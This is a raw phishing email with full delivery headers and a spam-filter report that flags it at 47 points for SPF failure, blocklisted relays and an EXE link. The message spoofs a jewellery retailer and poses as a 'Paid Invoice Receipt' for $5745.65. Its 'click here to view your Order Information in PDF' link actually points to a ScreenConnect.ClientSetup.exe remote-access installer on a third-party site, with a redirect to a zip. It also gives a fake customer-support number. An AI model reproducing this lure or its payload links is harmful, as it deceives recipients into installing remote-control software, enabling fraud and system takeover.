­­­­­­­­­­­­­­­­­­
<!DOCTYPE html>
<html>
Return-Path: <contact@mejuri.com>
Delivered-To: info+spam@autozone.com.sa
Received: from node93.myfcloudin.com
	by node93.myfcloudin.com with LMTP
	id 7ZoVMkx9mmpFnAoAhsgHWA
	(envelope-from <contact@mejuri.com>)
	for <info+spam@autozone.com.sa>; Fri, 04 Sep 2026 08:11:56 +0000
Return-path: <contact@mejuri.com>
Envelope-to: info@autozone.com.sa
Delivery-date: Fri, 04 Sep 2026 08:11:56 +0000
Received: from [45.116.76.29] (port=53792 helo=mejuri.com)
	by node93.myfcloudin.com with esmtp (Exim 4.99.5)
	(envelope-from <contact@mejuri.com>)
	id 1x2P1e-00000002urU-2YMh
	for info@autozone.com.sa;
	Fri, 04 Sep 2026 08:11:56 +0000
From: contact@mejuri.com
To: info@autozone.com.sa
Date: 04 Sep 2026 16:11:01 +0800
Message-ID: <20260904161101.8EE1D869181308CF@mejuri.com>
MIME-Version: 1.0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Spam-Status: Yes, score=47.0
X-Spam-Score: 470
X-Spam-Bar: +++++++++++++++++++++++++++++++++++++++++++++++
X-Spam-Report: Spam detection software, running on the system "node93.myfcloudin.com",
 has identified this incoming email as possible spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 root\@localhost for details.
 Content preview:  Paid Invoice Receipt Dear Customer, 
 Content analysis details:   (47.0 points, 5.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  3.3 RCVD_IN_PBL            RBL: Received via a relay in Spamhaus PBL
                             [45.116.76.29 listed in zen.spamhaus.org]
  0.1 RCVD_IN_SBL            RBL: Received via a relay in Spamhaus SBL
                             [45.116.76.29 listed in zen.spamhaus.org]
  3.3 RCVD_IN_SBL_CSS        RBL: Received via a relay in Spamhaus SBL-CSS
                             [45.116.76.29 listed in zen.spamhaus.org]
  6.2 RCVD_IN_MSPIKE_L5      RBL: Very bad reputation (-5)
                             [45.116.76.29 listed in bl.mailspike.net]
  2.7 RCVD_IN_PSBL           RBL: Received via a relay in PSBL
                             [45.116.76.29 listed in psbl.surriel.com]
  0.5 RCVD_IN_HOSTKARMA_BR   RBL: Sender listed in HOSTKARMA-BROWN
                         [45.116.76.29 listed in hostkarma.junkemailfilter.com]
  1.5 RCVD_IN_HOSTKARMA_BL   RBL: Sender listed in HOSTKARMA-BLACK
                         [45.116.76.29 listed in hostkarma.junkemailfilter.com]
  1.3 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in bl.spamcop.net
                [Blocked - see <https://www.spamcop.net/bl.shtml?45.116.76.29>]
  4.0 SPF_FAIL               SPF: sender does not match SPF record (fail)
                             [SPF failed: Rejected by SPF record.]
  4.0 SPF_HELO_FAIL          SPF: HELO does not match SPF record (fail)
                             [SPF failed: Rejected by SPF record.]
  0.0 RCVD_IN_MSPIKE_BL      Mailspike blocklisted
  3.0 KAM_DMARC_REJECT       DKIM has Failed or SPF has failed on the message and
                              the domain has a DMARC reject policy
  0.0 KAM_DMARC_STATUS       Test Rule for DKIM or SPF Failure with Strict
                             Alignment
  1.0 BAYES_999              BODY: Bayes spam probability is 99.9 to 100%
                             [score: 0.9999]
  5.0 BAYES_99               BODY: Bayes spam probability is 99 to 100%
                             [score: 0.9999]
  0.5 KAM_EXEURI             URI: EXE embedded link
  0.1 MIME_HTML_ONLY         BODY: Message only has text/html MIME parts
  0.0 HTML_MESSAGE           BODY: HTML included in message
  1.5 KAM_GOOGLE_REDIR       Use of Google redir
  0.4 HTML_MIME_NO_HTML_TAG  HTML-only message, but there is no HTML tag
  1.5 GOOG_REDIR_HTML_ONLY   Google redirect to obscure spamvertised website
                             + HTML only
  2.0 RDNS_NONE              Delivered to internal network by a host with no rDNS
  1.5 GOOG_REDIR_NORDNS      Google redirect to obscure spamvertised website +
                             no rDNS
  1.5 GB_REDIR_EXEURI        Redirector and uri to a .exe file
  2.0 TO_NO_BRKTS_NORDNS_HTML To: lacks brackets and no rDNS and HTML only
  0.0 LOTS_OF_MONEY          Huge... sums of money
X-Spam-Flag: YES
Subject:  ***SPAM***  Electronic Funds Transfer (EFT) 

<p>Paid Invoice Receipt<br /><br /></p>
<div>=A0</div>
<div>
<p><br />Dear Customer,<br /><br />=A0Payment of $5745.65 was Received.<br =
/><br />Please=A0<a href=3D"https://thelittlecupandsaucer.com.au/ScreenConn=
ect.ClientSetup.exe" target=3D"_blank" rel=3D"noopener noreferrer" data-saf=
eredirecturl=3D"https://www.google.com/url?q=3Dhttps://thelittlecupandsauce=
r.com.au/EFT_017502.zip&amp;source=3Dgmail&amp;ust=3D1788574128887000&amp;u=
sg=3DAOvVaw0ejmloQQPOXAtTf5gczxG2">click here</a>=A0to view your Order Info=
rmation in=A0<a rel=3D"noopener noreferrer">PDF</a><br /><br />If this char=
ge wasn't authorized by you, contact our customer service to cancel and<br =
/>receive an immediate refund.<br /><br /><br />Digitally Yours,<br />Custo=
mer Support: +1(332)638474823</p>
</div>